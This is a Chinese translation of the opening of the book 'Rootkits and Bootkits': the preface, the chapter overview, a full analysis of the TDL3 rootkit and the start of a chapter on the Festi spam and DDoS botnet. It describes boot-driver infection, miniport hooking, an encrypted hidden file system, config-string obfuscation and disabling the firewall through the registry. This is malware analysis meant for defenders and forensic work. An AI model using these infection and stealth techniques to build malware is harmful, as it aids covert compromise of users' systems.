Rookit-和-Bookit-全-

Rookit 和 Bookit(全)

原文:zh.annas-archive.org/md5/0620030e5141cae5e6fac78b9295066a

译者:飞龙

协议:CC BY-NC-SA 4.0

前言

图片

我们在发布了一系列关于 rootkit 和 bootkit 的文章和博客后,意识到这个话题并没有得到它应有的关注,于是产生了写这本书的想法。我们觉得有更大的图景,我们希望能有一本书来尝试

让一切有意义——一本能够概括攻击者和防御者创新中使用的各种巧妙技巧、操作系统架构观察和设计模式的书。我们曾经寻找过这样的书,但未能找到,因此我们决定写一本自己想读的书。

这本书花费了我们四年半的时间,比我们计划的时间还要长,遗憾的是,这个时间远远超过了我们能够预期的,早期访问版的读者和支持者能够坚持的时间。如果你是这些早期访问支持者之一,并且仍在阅读这本书,我们深感荣幸,感谢你们的持续支持!

在这段时间里,我们观察到了攻防的共同进化。特别是,我们看到微软 Windows 的防御措施封死了 rootkit 和 bootkit 设计的几个主要分支。你将在本书的章节中找到这个故事。

我们还观察到了新型恶意软件的出现,这些恶意软件针对 BIOS 和芯片组固件,超出了当前 Windows 防御软件的防护范围。我们将解释这一共同进化的发展过程,并展望其未来的进展。

本书的另一个主题是针对操作系统启动过程早期阶段的逆向工程技术发展。传统上,越靠近 PC 启动过程的前期阶段,相关代码的可观察性就越差。这种不可观察性长期以来与安全性混淆在一起。然而,当我们深入研究影响低级操作系统技术(如安全启动)的引导木马和 BIOS 植入的取证时,我们发现“安全通过模糊化”的方式在这里的效果和其他计算机科学领域一样差。经过一段时间(在互联网时间尺度上,这段时间只会越来越短),模糊化安全的做法最终更多地有利于攻击者而非防御者。这个观点在其他关于该主题的书籍中没有得到充分覆盖,因此我们尝试填补这个空白。

为什么要读这本书?

我们的读者群体非常广泛,主要是对高级持久性恶意软件威胁绕过操作系统级安全感兴趣的信息安全研究人员。我们关注这些高级威胁如何被观察、逆向工程和有效分析。本书的每一部分都反映了高级威胁进化的不同阶段,从它们作为狭义概念验证的出现,到它们在威胁行为者中传播,最后进入更加隐秘的定向攻击武器库。

然而,我们的目标是让更广泛的读者群体受益,而不仅仅是 PC 恶意软件分析师。特别是我们希望嵌入式系统开发人员和云安全专家也能从本书中获得同样的帮助,因为 rootkit 和其他植入物的威胁在他们的生态系统中依然存在。

书中内容是什么?

我们从 第一部分 开始,探索 rootkit,在这一部分中,我们介绍了历史上曾作为 rootkit 游乐场的 Windows 内核。然后在 第二部分,我们将焦点转向操作系统的启动过程以及在 Windows 开始强化其内核模式后发展起来的 bootkit。我们从攻击者的角度剖析了启动过程的各个阶段,特别关注新的 UEFI 固件方案及其漏洞。最后,在 第三部分,我们聚焦于经典操作系统 rootkit 攻击和针对 BIOS 及固件的新版 bootkit 攻击的取证分析。

第一部分:Rootkits

本部分聚焦于经典的操作系统级 rootkit,在它们的鼎盛时期。这些历史性的 rootkit 示例提供了宝贵的见解,展示了攻击者如何看待操作系统的内部结构,并利用操作系统自身的结构,找到可靠地将其植入其中的方法。

第一章:Rootkit 的组成:TDL3 案例分析 我们通过讲述一个当时最有趣的 rootkit 的故事来开始探索 rootkit 的工作原理,这个故事基于我们与其多种变种的遭遇以及我们对这些威胁的分析。

第二章:Festi Rootkit:最先进的垃圾邮件和 DDoS 僵尸网络 在这里,我们分析了卓越的 Festi rootkit,它使用了当时最先进的隐匿技术来进行垃圾邮件和 DDoS 攻击。这些技术包括带着自己的定制内核级 TCP/IP 堆栈。

第三章:观察 Rootkit 感染 本章带领我们进入操作系统内核的深处,突出了攻击者为争夺内核更深层次控制而使用的技巧,比如拦截系统事件和调用。

第二部分:Bootkits

第二部分将焦点转向 bootkit 的演变,推动这种演变的条件,以及逆向工程这些威胁的技术。我们将看到 bootkit 如何发展,植入 BIOS 并利用 UEFI 固件漏洞。

第四章:Bootkit 的演变 本章深入探讨了促成 bootkit 出现的共同演变力量,并指导其发展。我们将研究一些最早发现的 bootkit,例如臭名昭著的 Elk Cloner。

第五章:操作系统启动过程要点 本章我们将介绍 Windows 启动过程的内部机制以及这些机制如何随着时间的推移发生变化。我们将深入探讨如主引导记录(MBR)、分区表、配置数据以及bootmgr模块等具体内容。

第六章:启动过程安全 本章将带您了解 Windows 启动过程的防御技术,如早期启动反恶意软件(ELAM)模块、内核模式代码签名策略及其漏洞,以及更新的基于虚拟化的安全技术。

第七章:启动工具感染技术 本章中,我们剖析了感染启动扇区的方法,并探讨这些方法如何随着时间的推移不断进化。我们将以一些熟悉的启动工具为例:TDL4、Gapz 和 Rovnix。

第八章:使用 IDA Pro 对启动工具进行静态分析 本章介绍了启动工具感染的静态分析方法和工具。我们将以 TDL4 启动工具为例,带您进行分析,并提供可供您自己分析使用的材料,包括可下载的磁盘镜像。

第九章:启动工具动态分析:仿真与虚拟化 本章我们将重点介绍动态分析方法,使用 Bochs 仿真器和 VMware 内置的 GDB 调试器。我们将带您通过步骤动态分析 MBR 和 VBR 启动工具。

第十章:MBR 和 VBR 感染技术的演变:Olmasco 本章追溯了用于将启动工具带入启动过程更低层次的隐身技术的演变。我们将以 Olmasco 为例,分析其感染和持久性技术、恶意软件功能以及有效载荷注入。

第十一章:IPL 启动工具:Rovnix 和 Carberp 本章我们将深入探讨两个最复杂的启动工具——Rovnix 和 Carberp,它们针对电子银行业务。这些是首批针对 IPL 并避开当时防御软件的启动工具。我们将使用 VMware 和 IDA Pro 进行分析。

第十二章:Gapz:高级 VBR 感染 我们将揭开启动工具隐身演化的巅峰:神秘的 Gapz 根工具,它使用了当时最先进的技术,针对 VBR 进行攻击。

第十三章:MBR 勒索病毒的崛起 本章我们将探讨启动工具如何在勒索病毒威胁中复苏。

第十四章:UEFI 启动与 MBR/VBR 启动过程的对比 本章探讨了 UEFI BIOS 设计的启动过程——这是发现最新恶意软件演化的关键信息。

第十五章: 现代 UEFI 引导工具 本章涵盖了我们对各种 BIOS 植入物的原创研究,包括概念验证和在实际环境中部署的版本。我们将讨论如何感染和在 UEFI BIOS 上保持持久性,并查看在实际环境中发现的 UEFI 恶意软件,例如 Computrace。

第十六章: UEFI 固件漏洞 本章深入探讨了现代 BIOS 漏洞的不同类别,这些漏洞允许引入 BIOS 植入物。这是对 UEFI 漏洞和漏洞利用的深入探讨,包括案例研究。

第三部分:防御与取证技术

本书的最后部分将讨论引导工具、根工具及其他 BIOS 威胁的取证。

第十七章: UEFI 安全引导的工作原理 本章深入探讨了安全引导技术及其发展、漏洞和有效性。

第十八章: 分析隐藏文件系统的方法 本章概述了恶意软件使用的隐藏文件系统及其检测方法。我们将解析一个隐藏文件系统镜像,并介绍我们设计的工具:HiddenFsReader。

第十九章: BIOS/UEFI 取证:固件获取与分析方法 本章讨论了检测最先进的威胁的方法。我们将探讨硬件、固件和软件方法,并使用各种开源工具,如 UEFITool 和 Chipsec。

如何阅读本书

本书中讨论的所有威胁样本以及其他支持材料可以在本书的网站上找到,* nostarch.com/rootkits/*。该网站还提供了用于引导工具分析的工具链接,例如我们在原创研究中使用的 IDA Pro 插件的源代码。

第一部分

根工具

第一章:什么是 ROOTKIT:TDL3 案例研究**

Image

在本章中,我们将介绍带有TDL3的 rootkit。这个 Windows rootkit 提供了一个很好的例子,展示了如何利用操作系统架构的底层控制和数据流劫持技术。我们将探讨 TDL3 如何感染系统,并且它如何颠覆特定的操作系统接口和机制以保持生存并避免被发现。

TDL3 使用一种感染机制,直接将其代码加载到 Windows 内核中,因此它在 64 位 Windows 系统中被微软引入的内核完整性措施所无效化。然而,TDL3 用于在内核中插入代码的技术仍然是一个很好的示例,展示了在绕过这些完整性机制后,如何可靠且有效地挂钩内核的执行。像许多 rootkit 一样,TDL3 挂钩内核代码路径依赖于内核架构的关键模式。从某种意义上说,rootkit 的钩子可能比官方文档更能揭示内核的实际结构,当然,它们也是理解未记录的系统结构和算法的最佳指南。

事实上,TDL3 已经被 TDL4 取代,后者继承了 TDL3 的许多规避和反取证功能,但转而采用bootkit技术,绕过了 64 位系统中的 Windows 内核模式代码签名机制(我们将在第七章中描述这些技术)。

在本章中,我们将指出 TDL3 颠覆的特定操作系统接口和机制。我们将解释 TDL3 及类似 rootkit 的设计和工作原理,然后在第二部分中,我们将讨论用于发现、观察和分析这些 rootkit 的方法和工具。

TDL3 在野外传播的历史

TDL3 rootkit 首次被发现于 2010 年,^(1) 是当时最复杂的恶意软件之一。它的隐蔽机制对整个杀毒软件行业构成了挑战(它的后继者,TDL4 bootkit,也是第一个广泛传播的 x64 平台 bootkit)。

注意

这一家族的恶意软件也被称为 TDSS、Olmarik 或 Alureon。为同一家族的恶意软件起多个名字并不罕见,因为杀毒软件厂商往往在报告中给出不同的名字。在分析的早期阶段,研究团队通常会给相同攻击的不同组件指定不同的名称,这也是很常见的做法。

TDL3 通过按安装付费(PPI)商业模式,通过加盟商 DogmaMillions 和 GangstaBucks(这两个加盟商现在已经被关闭)进行分发。PPI 模式在网络犯罪团伙中广受欢迎,类似于常见的浏览器工具栏分发模式。工具栏分发商通过创建带有嵌入唯一标识符(UID)的特殊版本来跟踪其使用情况,每个通过不同分发渠道提供下载的软件包或捆绑包都会有一个 UID。这使得开发者能够计算与每个 UID 相关的安装数量(即用户数量),从而确定每个分发渠道所带来的收入。同样,分发商信息被嵌入到 TDL3 rootkit 可执行文件中,特定服务器计算与分发商相关的安装数量,并对其进行收费。

网络犯罪团伙的成员们收到了一个独特的登录名和密码,这些标识符用来识别每个资源的安装数量。每个加盟商还配有一个个人经理,遇到技术问题时可以咨询该经理。

为了减少被杀毒软件检测到的风险,加盟商经常重新打包分发的恶意软件,并使用复杂的防御技术来检测调试器和虚拟机的使用,从而困扰恶意软件研究人员的分析。^(2) 伙伴们还被禁止使用像 VirusTotal 这样的资源来检查他们当前的版本是否会被安全软件检测到,甚至因这样做而受到罚款威胁。这是因为提交到 VirusTotal 的样本可能会引起安全研究实验室的注意,从而进行分析,实际上缩短了恶意软件的有效生命周期。如果恶意软件的分发商担心其产品的隐蔽性,他们会被推荐使用类似 VirusTotal 的恶意软件开发者运营的服务,这些服务能保证提交的样本不会被安全软件供应商获取。

感染流程

一旦 TDL3 感染程序通过其中一个分发渠道下载到用户系统上,它就会开始感染过程。为了在系统重启后继续存活,TDL3 会通过向其中一个启动驱动程序注入恶意代码来感染该驱动程序,启动驱动程序对加载操作系统至关重要。这些启动驱动程序会在操作系统初始化过程的早期阶段与内核镜像一起加载。因此,当感染的计算机启动时,修改后的驱动程序会被加载,恶意代码控制了启动过程。

因此,当在内核模式地址空间中运行时,感染程序会在支持核心操作系统组件的启动驱动程序列表中进行搜索,并随机选择一个作为感染目标。列表中的每个条目都由未记录的 KLDR_DATA_TABLE_ENTRY 结构描述,如清单 1-1 所示,并由 DRIVER_OBJECT 结构中的 DriverSection 字段引用。每个已加载的内核模式驱动程序都有一个对应的 DRIVER_OBJECT 结构。

typedef struct _KLDR_DATA_TABLE_ENTRY {

   LIST_ENTRY InLoadOrderLinks;

   LIST_ENTRY InMemoryOrderLinks;

   LIST_ENTRY InInitializationOrderLinks;

   PVOID ExceptionTable;

   ULONG ExceptionTableSize;

   PVOID GpValue;

   PNON_PAGED_DEBUG_INFO NonPagedDebugInfo;

   PVOID ImageBase;

   PVOID EntryPoint;

   ULONG SizeOfImage;

   UNICODE_STRING FullImageName;

   UNICODE_STRING BaseImageName;

   ULONG Flags;

   USHORT LoadCount;

   USHORT Reserved1;

   PVOID SectionPointer;

   ULONG CheckSum;

   PVOID LoadedImports;

   PVOID PatchInformation;

} KLDR_DATA_TABLE_ENTRY, *PKLDR_DATA_TABLE_ENTRY;

清单 1-1:由 DriverSection 字段引用的 KLDR_DATA_TABLE_ENTRY 结构的布局

一旦选择了目标驱动程序,TDL3 病毒就会通过覆盖驱动程序资源区 .rsrc 的前几百个字节,来修改内存中的驱动程序映像,载入恶意加载器。这个加载器非常简单:它仅仅是在启动时从硬盘加载其需要的其余恶意代码。

被覆盖的 .rsrc 节区的原始字节——这些字节对驱动程序的正常运行仍然是必需的——会被保存在恶意软件维护的隐藏文件系统中的名为 rsrc.dat 的文件中。(请注意,感染过程不会改变被感染驱动程序文件的大小。)一旦完成这一修改,TDL3 会更改驱动程序的可移植执行文件(PE)头中的入口点字段,使其指向恶意加载器。因此,被 TDL3 感染的驱动程序的入口点地址会指向资源节区,这在正常情况下是不合法的。图 1-1 展示了感染前后的启动驱动程序,演示了驱动程序映像如何被感染,Header 标签指的是 PE 头和节区表。

image

图 1-1:系统感染后,内核模式启动驱动程序的修改

这种感染 Windows 可执行文件和动态链接库(DLL)的 PE 格式可执行文件的方式,是病毒感染者的典型做法,但对于 rootkit 来说并不常见。PE 头和节区表对任何 PE 文件都是不可或缺的。PE 头包含关于代码和数据位置、系统元数据、栈大小等关键信息,而节区表则包含关于可执行文件节区及其位置的信息。

为完成感染过程,恶意软件将 PE 头部的 .NET 元数据目录项覆盖为与安全数据目录项中包含的相同值。这个步骤可能是为了防止对感染镜像进行静态分析,因为它可能会导致常见恶意软件分析工具在解析 PE 头部时发生错误。事实上,尝试加载这些镜像会导致 IDA Pro 5.6 版本崩溃——这个漏洞后来已经被修复。根据微软的 PE/COFF 规范,.NET 元数据目录包含由公共语言运行时(CLR)使用的数据,用于加载和运行 .NET 应用程序。然而,对于内核模式启动驱动程序来说,这个目录项并不相关,因为它们都是本地二进制文件,并不包含任何系统管理代码。因此,操作系统加载程序不会检查此目录项,从而使感染的驱动程序即使其内容无效,仍然能够成功加载。

请注意,这种 TDL3 感染技术是有限制的:它仅适用于 32 位平台,因为微软的内核模式代码签名策略在 64 位系统上强制执行强制性代码完整性检查。由于在系统感染过程中驱动程序的内容发生了变化,它的数字签名不再有效,从而阻止操作系统在 64 位系统上加载该驱动程序。恶意软件的开发者通过 TDL4 做出了回应。我们将在第六章中详细讨论这一策略及其规避方法。

控制数据流

为了实现隐匿性,内核 rootkit 必须修改内核系统调用的控制流或数据流(或两者),无论何时操作系统的原始控制流或数据流会暴露任何恶意软件组件的存在(例如,文件)或其运行的任务或工件(如内核数据结构)。为了实现这一点,rootkit 通常会在系统调用实现的执行路径上注入代码;这些代码钩子的放置是 rootkit 最具指导性的方面之一。

自带链接器

Hooking 本质上是链接。现代 rootkit 自带链接器,将其代码与系统链接,这是我们称之为 自带链接器 的设计模式。为了隐蔽地嵌入这些“链接器”,TDL3 遵循了一些常见的恶意软件设计原则。

首先,目标必须保持稳定,尽管有额外注入的代码,因为攻击者从让目标软件崩溃中既无收益也有损失。从软件工程的角度来看,钩子是一种软件组合方式,需要谨慎处理。攻击者必须确保系统只有在可预测的状态下才会进入新的代码,以便代码能够正确处理,从而避免任何可能导致崩溃或异常行为的情况,这些异常行为可能会引起用户的注意。钩子的位置似乎仅限于 rootkit 作者的想象力,但实际上,作者必须遵循他们非常熟悉的稳定软件边界和接口。因此,钩子通常会针对系统本地动态链接功能所使用的相同结构,无论它们是否公开文档化。回调表、方法表以及其他连接抽象层或软件模块的函数指针是钩子最安全的目标;钩子函数的前言同样也很有效。

其次,钩子的位置不应过于明显。虽然早期的 rootkit 会钩住内核的顶层系统调用表,但这种技术很快就变得过时,因为它太显眼了。事实上,当 2005 年的索尼 rootkit 使用这种技术时,^(3) 这种钩子位置已经被认为是过时的,因而引起了许多人的关注。随着 rootkit 越来越复杂,它们的钩子逐渐向栈的下层迁移,从主要的系统调用分发表到操作系统子系统,这些子系统为不同的实现提供统一的 API 层,例如虚拟文件系统(VFS),然后再到特定驱动程序的方法和回调。TDL3 就是这种迁移的一个典型例子。

TDL3 的内核模式钩子是如何工作的

为了保持低调,TDL3 采用了一种在实际环境中前所未见的相当复杂的钩子技术:它在存储端口/小型端口驱动程序的层次拦截发送到硬盘的读写 I/O 请求(存储驱动栈最底层的硬件存储媒体驱动程序)。端口驱动程序是为小型端口驱动程序提供编程接口的系统模块,小型端口驱动程序由相应存储设备的供应商提供。图 1-2 显示了 Microsoft Windows 中存储设备驱动栈的架构。

针对存储设备上某个对象的 I/O 请求包(IRP)结构的处理从文件系统驱动程序的层次开始。对应的文件系统驱动程序会确定该对象存储的具体设备(如磁盘分区和磁盘区域,最初为文件系统预留的连续存储区域),并向类驱动程序的设备对象发出另一个 IRP。后者会将 I/O 请求转换为相应的小型端口设备对象。

image

图 1-2:Microsoft Windows 中存储设备驱动堆栈架构

根据 Windows 驱动程序工具包(WDK)文档,存储端口驱动程序提供硬件独立类驱动程序与 HBA 特定(主机基础架构)迷你端口驱动程序之间的接口。一旦该接口可用,TDL3 就会在存储设备驱动堆栈中最低的硬件独立级别设置内核模式 hook,从而绕过在文件系统或存储类驱动程序级别操作的任何监控工具或保护措施。这样的 hook 只能通过了解特定设备集的这些表的正常组成或了解特定机器已知良好配置的工具来检测。

为了实现这种 hooking 技术,TDL3 首先获取对应设备对象的迷你端口驱动程序对象的指针。具体来说,hooking 代码尝试打开 ??\PhysicalDriveXX(其中 XX 对应硬盘的编号)的句柄,但该字符串实际上是一个指向设备对象 \Device\HardDisk0\DR0 的符号链接,该设备对象由存储类驱动程序创建。从 \Device\HardDisk0\DR0 开始向下移动设备堆栈,我们在最底层找到了迷你端口存储设备对象。一旦找到迷你端口存储设备对象,通过跟随文档中 DEVICE_OBJECT 结构的 DriverObject 字段,就能直接获取指向其驱动程序对象的指针。在此时,恶意软件已拥有进行存储驱动堆栈 hooking 所需的所有信息。

接下来,TDL3 创建一个新的恶意驱动程序对象,并用指向新创建字段的指针覆盖迷你端口驱动程序对象中的 DriverObject 字段,如 图 1-3 所示。这使得恶意软件能够拦截对底层硬盘的读/写请求,因为所有处理程序的地址都在相关驱动程序对象结构中指定:DRIVER_OBJECT 结构中的 MajorFunction 数组。

image

图 1-3:hooking 存储迷你端口驱动程序对象

如 图 1-3 所示,恶意的主要处理程序拦截 IRP_MJ_INTERNAL_CONTROLIRP_MJ_DEVICE_CONTROL,用于监控和修改对硬盘的读/写请求,存储被感染的驱动程序和恶意软件实现的隐藏文件系统的镜像:

  • IOCTL_ATA_PASS_THROUGH_DIRECT

  • IOCTL_ATA_PASS_THROUGH

TDL3 防止 Windows 工具读取包含受保护数据的硬盘扇区,或者防止这些扇区被 Windows 文件系统意外覆盖,从而保护了 rootkit 的隐蔽性和完整性。当遇到读取操作时,TDL3 会在 I/O 操作完成后清空返回缓冲区,并且在遇到写数据请求时跳过整个读取操作。TDL3 的钩住技术使其能够绕过一些内核补丁检测技术;也就是说,TDL3 的修改不会触及任何经常受到保护和监控的区域,包括系统模块、系统服务描述符表(SSDT)、全局描述符表(GDT)或中断描述符表(IDT)。它的继任者 TDL4 采取了相同的方法来绕过 64 位 Windows 操作系统上的内核模式补丁保护 PatchGuard,因为它从 TDL3 继承了大量内核模式功能,包括这些存储迷你端口驱动程序的钩子。

隐藏文件系统

TDL3 是第一个将其配置文件和有效载荷存储在目标系统上隐藏加密存储区域中的恶意软件系统,而不是依赖操作系统提供的文件系统服务。今天,TDL3 的这种方法已被其他复杂威胁如 Rovnix Bootkit、ZeroAccess、Avatar 和 Gapz 等所采用并改编。

这种隐藏存储技术大大妨碍了取证分析,因为恶意数据被存储在一个加密容器中,该容器位于硬盘的某个地方,但不在操作系统自身的本地文件系统所保留的区域内。同时,恶意软件可以使用传统的 Win32 API,如CreateFileReadFileWriteFileCloseHandle,访问隐藏文件系统的内容。这通过允许恶意软件开发者使用标准的 Windows 接口从存储区域读取和写入有效载荷,而无需开发和维护任何自定义接口,促进了恶意软件有效载荷的开发。这一设计决策意义重大,因为它与使用标准接口钩住技术一起,提高了 rootkit 的整体可靠性;从软件工程的角度来看,这是一个很好的、正确的代码复用示例!微软首席执行官的成功公式是“开发者,开发者,开发者,开发者!”——换句话说,就是将现有开发者的技能视为宝贵的资本。TDL3 选择了类似地利用那些转向黑暗面的开发者的现有 Windows 编程技能,或许是为了简化过渡并提高恶意代码的可靠性。

TDL3 在硬盘上分配其隐藏文件系统的镜像,位于操作系统自有文件系统未占用的扇区。该镜像从磁盘的末端向磁盘的起始部分生长,这意味着如果它生长得足够大,最终可能会覆盖用户的文件系统数据。镜像被分为每块 1,024 字节的块。第一块(位于硬盘的末端)包含一个文件表,其条目描述文件系统中包含的文件,并包括以下信息:

  • 限制为 16 个字符的文件名,包括终止的空字符

  • 文件的大小

  • 实际的文件偏移量,我们通过将文件的起始偏移量乘以 1,024,并从文件系统开始的偏移量中减去该值来计算

  • 文件系统创建的时间

文件系统的内容采用自定义(且大多是临时)加密算法按块加密。不同版本的 rootkit 使用了不同的算法。例如,一些修改版使用了 RC4 密码,使用与每个块对应的第一个扇区的逻辑块地址(LBA)作为密钥。然而,另一些修改版使用了 XOR 操作与固定密钥进行加密:0x54 每次 XOR 操作时递增,导致加密强度较弱,容易发现加密块中包含零的特定模式。

从用户模式下,payload 通过打开一个名为 \Device\XXXXXXXX\YYYYYYYY 的设备对象句柄来访问隐藏存储,其中 XXXXXXXXYYYYYYYY 是随机生成的十六进制数字。请注意,访问此存储的代码路径依赖于许多标准的 Windows 组件——希望这些组件已经被微软调试过,因此是可靠的。设备对象的名称每次系统启动时都会生成,然后作为参数传递给 payload 模块。rootkit 负责维护和处理对该文件系统的 I/O 请求。例如,当 payload 模块对存储在隐藏存储区中的文件执行 I/O 操作时,操作系统会将该请求传递给 rootkit,并执行其入口点函数来处理请求。

在这一设计模式中,TDL3 展示了 rootkit 的一般趋势。它并没有为所有操作提供全新的代码,也没有让第三方恶意软件开发人员负担学习这些代码的特殊性,而是借助现有且熟悉的 Windows 功能——只要这些借用技巧及其底层的 Windows 接口不是常识。具体的感染方法会随着大规模部署的防御措施的变化而演变,但这种方法一直存在,因为它遵循了恶意软件和良性软件开发共享的通用代码可靠性原则。

结论:TDL3 遇到了它的克星

正如我们所见,TDL3 是一个复杂的 rootkit,开创了几种在感染系统上隐秘且持久运行的技术。它的内核模式挂钩和隐藏存储系统并未被其他恶意软件开发者忽视,因此这些技术随后出现在其他复杂威胁中。它感染例程的唯一限制是只能针对 32 位系统。

当 TDL3 最初开始传播时,它完成了开发者预期的任务,但随着 64 位系统数量的增加,感染 x64 系统的需求也随之增长。为了实现这一目标,恶意软件开发者不得不弄清楚如何绕过 64 位内核模式代码签名策略,以便将恶意代码加载到内核模式地址空间中。正如我们在第七章中将讨论的那样,TDL3 的作者选择了引导程序(bootkit)技术来规避签名强制执行。

第二章:FESTI ROOTKIT:最先进的垃圾邮件和 DDoS 僵尸网络

Image

本章专门讨论了发现的最先进的垃圾邮件和分布式拒绝服务(DDoS)僵尸网络之一——Win32/Festi 僵尸网络,我们将从现在起简单地称之为 Festi。Festi 拥有强大的垃圾邮件发送和 DDoS 能力,并且具有有趣的 rootkit 功能,能够通过挂钩文件系统和系统注册表来保持低调。Festi 还通过主动反制动态分析,采用调试器和沙盒规避技术来隐藏其存在。

从高层次的角度来看,Festi 拥有一个精心设计的模块化架构,完全实现于内核模式驱动程序中。内核模式编程当然充满了危险:代码中的一个小错误就可能导致系统崩溃并使其无法使用,可能迫使用户重新安装系统,从而清除恶意软件。因此,垃圾邮件发送恶意软件通常很少依赖于内核模式编程。Festi 能够造成如此大的损害,表明其开发者拥有扎实的技术能力,并深入理解 Windows 系统。事实上,他们提出了几个有趣的架构决策,本章将介绍这些内容。

Festi 僵尸网络案件

Festi 僵尸网络首次发现是在 2009 年秋季,到 2012 年 5 月,它已经成为最强大和活跃的垃圾邮件发送及 DDoS 攻击僵尸网络之一。最初,这个僵尸网络对任何人开放租用,但在 2010 年初之后,它仅限于主要的垃圾邮件合作伙伴,如 Pavel Vrublebsky,他是使用 Festi 僵尸网络进行犯罪活动的其中一位参与者,该事件在 Brian Krebs 的《垃圾邮件国家》(Spam Nation)一书中有详细描述(Sourcebooks,2014)。

根据 M86 Security Labs(现为 Trustwave)2011 年的统计数据,如 图 2-1 所示,Festi 是报告期内全球三大最活跃的垃圾邮件僵尸网络之一。

image

图 2-1:根据 M86 Security Labs 的数据,最流行的垃圾邮件僵尸网络

Festi 在流行度上的崛起源于对 Assist,一家支付处理公司,发起的特别攻击。^(1) Assist 是竞标俄罗斯最大航空公司 Aeroflot 合同的公司之一,但在 Aeroflot 准备做出决定前几周,网络犯罪分子利用 Festi 发起了对 Assist 的大规模 DDoS 攻击。这次攻击使得处理系统在一段较长的时间内无法使用,最终迫使 Aeroflot 将合同授予另一家公司。这一事件是 rootkit 如何在现实犯罪中被使用的典型例子。

剖析 Rootkit 驱动程序

Festi rootkit 主要通过类似于第一章中讨论的 TDL3 rootkit 的 PPI 计划分发。引导程序的相当简单的功能将内核模式驱动程序安装到系统中,后者实现了恶意软件的主要逻辑。内核模式组件作为一个“系统启动”内核模式驱动程序注册,名称随机生成,这意味着恶意驱动程序会在系统启动时加载并执行。

引导程序感染者

Dropper(引导程序)是一种特殊类型的感染程序。引导程序将负载携带到受害者系统中。负载通常会被压缩和加密或混淆。一旦执行,引导程序会从其映像中提取负载,并将其安装到受害者系统中(即将其"丢到"系统中——因此得名此类感染程序)。与引导程序不同,下载程序(另一种感染程序)不携带负载,而是从远程服务器下载负载。

Festi 僵尸网络仅针对 Microsoft Windows x86 平台,并且没有针对 64 位平台的内核模式驱动程序。这在其分发时是可行的,因为当时仍有许多 32 位操作系统在使用,但现在随着 64 位系统的数量超越 32 位系统,这意味着该 rootkit 在很大程度上已经过时。

内核模式驱动程序有两个主要任务:从命令和控制(C&C)服务器请求配置信息,并下载和执行以插件形式存在的恶意模块(如图 2-2 所示)。每个插件都专门用于某个任务,例如对指定的网络资源执行 DDoS 攻击或向 C&C 服务器提供的邮件列表发送垃圾邮件。

image

图 2-2:Festi rootkit 的操作

有趣的是,这些插件并未存储在系统硬盘上,而是存储在易失性内存中,这意味着当感染的计算机关闭或重启时,插件会从系统内存中消失。这使得恶意软件的取证分析变得更加困难,因为硬盘上仅存储了主内核模式驱动程序,且该驱动程序既不包含负载,也不包含任何攻击目标的信息。

Festi 用于 C&C 通信的配置信息

为了使其能够与 C&C 服务器通信,Festi 分发时带有三项预定义的配置信息:C&C 服务器的域名、加密 bot 与 C&C 之间传输数据的密钥,以及 bot 的版本信息。

此配置信息是硬编码到驱动程序的二进制文件中的。图 2-3 显示了一个内核模式驱动的节表,其中有一个可写节.cdata,该节存储了配置信息以及执行恶意活动所需的字符串。

image

图 2-3:Festi 内核模式驱动的节表

恶意软件使用一种简单的算法对内容进行混淆,该算法将数据与一个 4 字节的密钥进行异或。.cdata部分在驱动程序初始化的最初阶段被解密。

.cdata部分中的字符串,列在表 2-1 中,可能引起安全软件的注意,因此对它们进行混淆有助于恶意软件逃避检测。

表 2-1: Festi 配置数据部分中的加密字符串

字符串 用途
\Device\Tcp``\Device\Udp 恶意软件用于发送和接收数据的设备对象名称
\REGISTRY\MACHINE\SYSTEM\ CurrentControlSet\Services\ SharedAccess\Parameters\FirewallPolicy\ StandardProfile\GloballyOpenPorts\List 存储 Windows 防火墙参数的注册表键路径,恶意软件用此路径来禁用本地防火墙
ZwDeleteFile, ZwQueryInformationFile, ZwLoadDriver, KdDebuggerEnabled, ZwDeleteValueKey, ZwLoadDriver 恶意软件使用的系统服务名称

Festi 的面向对象框架

与许多内核模式驱动程序不同,这些驱动程序通常使用面向过程的编程范式用纯 C 语言编写,而 Festi 驱动程序具有面向对象的架构。恶意软件实现的架构的主要组件(类)包括:

内存管理器 分配和释放内存缓冲区

网络套接字 在网络上发送和接收数据

C&C 协议解析器 解析 C&C 消息并执行接收到的命令

插件管理器 管理下载的插件

这些组件之间的关系如图 2-4 所示。

image

图 2-4:Festi 内核模式驱动程序的架构

如你所见,内存管理器是所有其他组件使用的核心组件。

这种面向对象的方法使得恶意软件能够轻松移植到其他平台,如 Linux。为了做到这一点,攻击者只需要修改由组件接口隔离的系统特定代码(例如调用系统服务进行内存管理和网络通信的代码)。例如,下载的插件几乎完全依赖于主模块提供的接口;它们很少使用系统提供的例程来执行系统特定的操作。

插件管理

从 C&C 服务器下载的插件被恶意软件加载并执行。为了有效管理下载的插件,Festi 维护了一个指向特定定义的PLUGIN_INTERFACE结构体的指针数组。每个结构体对应内存中的一个特定插件,并为机器人提供特定的入口点——处理从 C&C 接收的数据的例程,如图 2-5 所示。通过这种方式,Festi 跟踪内存中加载的所有恶意插件。

image

图 2-5:指向PLUGIN_INTERFACE结构体的指针数组布局

列表 2-1 显示了PLUGIN_INTERFACE结构的布局。

struct PLUGIN_INTERFACE

{

  // Initialize plug-in

  PVOID Initialize;

  // Release plug-in, perform cleanup operations

  PVOID Release;

  // Get plug-in version information

  PVOID GetVersionInfo_1;

  // Get plug-in version information

  PVOID GetVersionInfo_2;

  // Write plug-in-specific information into tcp stream

  PVOID WriteIntoTcpStream;

  // Read plug-in specific information from tcp stream and parse data

  PVOID ReadFromTcpStream;

  // Reserved fields

  PVOID Reserved_1;

  PVOID Reserved_2;

};

列表 2-1:定义PLUGIN_INTERFACE结构

前两个例程,InitializeRelease,分别用于插件的初始化和终止。接下来的两个例程,GetVersionInfo_1GetVersionInfo_2,用于获取当前插件的版本信息。

WriteIntoTcpStreamReadFromTcpStream例程用于在插件与 C&C 服务器之间交换数据。当 Festi 向 C&C 服务器传输数据时,它会遍历指向插件接口的指针数组,并执行每个已注册插件的WriteIntoTcpStream例程,将指向 TCP 流对象的指针作为参数传递。TCP 流对象实现了网络通信接口的功能。

在接收到来自 C&C 服务器的数据时,机器人执行插件的ReadFromTcpStream例程,以便已注册的插件能够从网络流中获取参数和插件特定的配置信息。因此,每个加载的插件可以独立于其他插件与 C&C 服务器进行通信,这意味着插件可以独立开发,从而提高开发效率和架构的稳定性。

内置插件

安装时,主要的恶意内核模式驱动程序实现了两个内置插件:配置信息管理器机器人插件管理器

配置信息管理器

